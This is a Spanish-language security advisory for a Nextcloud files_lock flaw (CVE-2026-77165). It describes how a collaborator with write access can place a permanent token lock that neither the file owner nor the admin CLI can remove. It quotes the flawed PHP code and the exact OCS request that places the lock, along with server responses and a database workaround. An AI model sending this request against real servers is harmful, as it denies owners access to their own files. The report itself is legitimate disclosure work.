Resumen
La app files_lock de Nextcloud admite varios tipos de bloqueo. Uno de ellos, TYPE_TOKEN (valor 2), solo se puede retirar presentando el token del bloqueo. El investigador comprobó, con files_lock 33.0.4 sobre Nextcloud 33.0.3, que cualquier colaborador con permiso de escritura sobre un fichero compartido podía colocar ese tipo de bloqueo y dejar el fichero inutilizable de forma permanente para su propietario.
Se juntaban cuatro problemas:
- El propietario no puede quitar el bloqueo. En
LockService::canUnlock(), la rama deTYPE_TOKENsolo acepta el mismo token o al mismo usuario que bloqueó (siallowUserOverrideestá activo). A diferencia de la otra rama de la misma función, no contempla ninguna excepción para el dueño del fichero:
public function canUnlock(LockContext $request, FileLock $current): void {
$isSameUser = $current->getOwner() === $this->userSession->getUser()?->getUID();
$isSameToken = $request->getOwner() === $current->getToken();
$isSameOwner = $request->getOwner() === $current->getOwner();
$isSameType = $request->getType() === $current->getType();
// TYPE_TOKEN branch: only same-token OR same-user-with-allowUserOverride.
// No file-owner fall-through.
if ($current->getType() === ILock::TYPE_TOKEN) {
if ($isSameToken || ($this->allowUserOverride && $isSameUser)) {
return;
}
throw new UnauthorizedUnlockException(
$this->l10n->t('File can only be unlocked by providing a valid owner lock token')
);
}
// Non-TYPE_TOKEN branch: falls through to owner-equality check
if ($isSameOwner && $isSameType) {
return;
}
}
- El bloqueo no caduca. El tiempo de vida por defecto es
-1minutos; multiplicado por 60 da-60, queFileLock::getETA()interpreta como "sin caducidad" (en la respuesta apareceeta: -1):
public const LOCK_TIMEOUT = 'lock_timeout';
protected $defaults = [
self::LOCK_TIMEOUT => '-1'
];
public function getLockTimeout(): int {
return ((int)$this->getAppValue(ConfigService::LOCK_TIMEOUT)) * 60;
}
- El bloqueo no depende de la vida del usuario que lo puso. La tabla
oc_files_lockguarda al autor como un simple UID, sin clave foránea aoc_users. Borrar al usuario no borra sus bloqueos. - La recuperación por CLI documentada falla.
occ files:lock <id> -unecesita el objeto de usuario del autor del bloqueo para localizar el fichero. Si el usuario se ha borrado, falla conBackends provided no user object; si se ha vuelto a crear con el mismo UID, falla conNotFoundException, porque la nueva cuenta ya no tiene acceso compartido al fichero.
El fallo tiene asignado el CVE-2026-77165 con el aviso GHSA-22w9-gpgv-pcgc. El programa lo clasificó como severidad media. Reportado el 29 de mayo de 2026 y divulgado el 18 de septiembre de 2026.
Pasos de reproducción
El investigador adjuntó un paquete autocontenido (nextcloud_repro.zip) con tres scripts:
./01-setup.shlevantanextcloud:33.0.3enlocalhost:18083, crea los usuariosaliceybob, instalafiles_lock, hace quealicecree/lock-target.txty lo comparta conbobconpermissions=19(READ | UPDATE | SHARE). Muestra elfileIdy elshareId../02-attack.sh '<FILE_ID>' '<SHARE_ID>'coloca el bloqueo comoboby después prueba en orden todas las vías de recuperación:PUTdealice, desbloqueo OCS dealice, revocación del recurso compartido, borrado de la cuenta y desbloqueo por CLI../03-verify.shmuestra la fila del bloqueo, el código HTTP de cada intento, la salida del CLI y el fragmento decanUnlock.
Las peticiones clave son estas.
Bob coloca un bloqueo TYPE_TOKEN con una sola llamada OCS:
PUT /ocs/v2.php/apps/files_lock/lock/<FILE_ID>?lockType=2&format=json HTTP/1.1
Authorization: Basic [REDACTADO]
OCS-APIRequest: true
HTTP/1.1 200 OK
{
"ocs": {
"meta": {"status":"ok","statuscode":200,"message":"OK"},
"data": {
"id": 1,
"userId": "bob",
"displayName": "bob ",
"fileId": <FILE_ID>,
"token": "files_lock/<random-uuid>",
"eta": -1,
"creation": <epoch>,
"type": 2
}
}
}
Alice, la dueña, intenta escribir en su fichero y recibe 423 Locked:
PUT /remote.php/dav/files/alice/lock-target.txt HTTP/1.1
Authorization: Basic [REDACTADO]
HTTP/1.1 423 Locked
<d:error xmlns:d="DAV:" xmlns:s="http://sabredav.org/ns">
<s:exception>Sabre\DAV\Exception\Locked</s:exception>
<d:lock-token-submitted>
<d:href>files/alice/lock-target.txt</d:href>
</d:lock-token-submitted>
</d:error>
Alice intenta desbloquearlo por OCS y también recibe 423:
DELETE /ocs/v2.php/apps/files_lock/lock/<FILE_ID>?format=json HTTP/1.1
Authorization: Basic [REDACTADO]
OCS-APIRequest: true
HTTP/1.1 423
{"ocs":{"meta":{"status":"failure","statuscode":423,"message":"File is currently locked by bob "},"data":{...}}}
Ni revocar el recurso compartido, ni borrar a bob, ni volver a crearlo con el mismo UID cambian nada: el PUT y el desbloqueo OCS siguen devolviendo 423.
El administrador prueba el CLI, primero con bob borrado:
$ occ files:lock <FILE_ID> -u
unlocking File #<FILE_ID>
In Root.php line 331:
Backends provided no user object
Y con bob recreado:
$ occ files:lock <FILE_ID> -u
unlocking File #<FILE_ID>
In FileService.php line 51:
[OCP\Files\NotFoundException]
La única salida es borrar la fila directamente en la base de datos:
sqlite> DELETE FROM oc_files_lock WHERE file_id = <FILE_ID>;
Impacto
Un colaborador con permiso de escritura sobre un fichero compartido puede, con una sola llamada OCS, bloquearlo para siempre frente a su dueño y a cualquier otro colaborador. La propietaria no tiene forma de recuperarlo desde la interfaz, y el administrador tampoco con la herramienta de línea de órdenes documentada: solo con acceso directo a la base de datos, un procedimiento que la documentación de la app no menciona. Es una denegación de servicio persistente sobre ficheros compartidos.
El investigador lo relaciona con un fallo anterior, CVE-2021-22906 (GHSA-3829-45wm-ww36), en el que la app End-to-End Encryption permitía a cualquier usuario autenticado bloquear ficheros ajenos de forma temporal (calificado como bajo). En este caso hace falta tener el fichero compartido con escritura, pero el bloqueo es permanente y rompe la recuperación por parte del administrador.
Remediación
Nextcloud lo corrigió y lo publicó en el aviso GHSA-22w9-gpgv-pcgc. El reporte no describe el parche concreto.